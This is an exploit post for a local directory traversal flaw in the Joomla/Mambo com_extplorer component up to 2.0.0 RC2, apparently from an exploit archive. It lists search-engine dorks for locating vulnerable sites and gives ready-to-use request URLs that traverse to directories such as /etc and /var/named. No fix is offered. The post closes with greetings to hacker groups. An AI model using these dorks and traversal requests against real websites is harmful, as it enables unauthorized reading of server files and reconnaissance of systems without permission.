Joomla Component com_extplorer <= 2.0.0 RC2 Local Directory Traversal
2008-04-13 00:00:00--------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
= Author : HouSSaMix
= Script : Joomla and Mambo Component com_extplorer
= version : <= 2.0.0 RC2
= Download : http://joomlacode.org/gf/download/frsrelease/6717/21992/com_extplorer_2.0.0_RC2.zip
= Dork1 : inurl:index.php?option=com_extplorer
= Dork2 : powered by extplorer
= BUG : Local Directory Traversal
exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory]
example :
site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
= greetz : V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers
=================================================================================================================
#
Fixes
No fixesIn order to submit a new fix you need to be registered.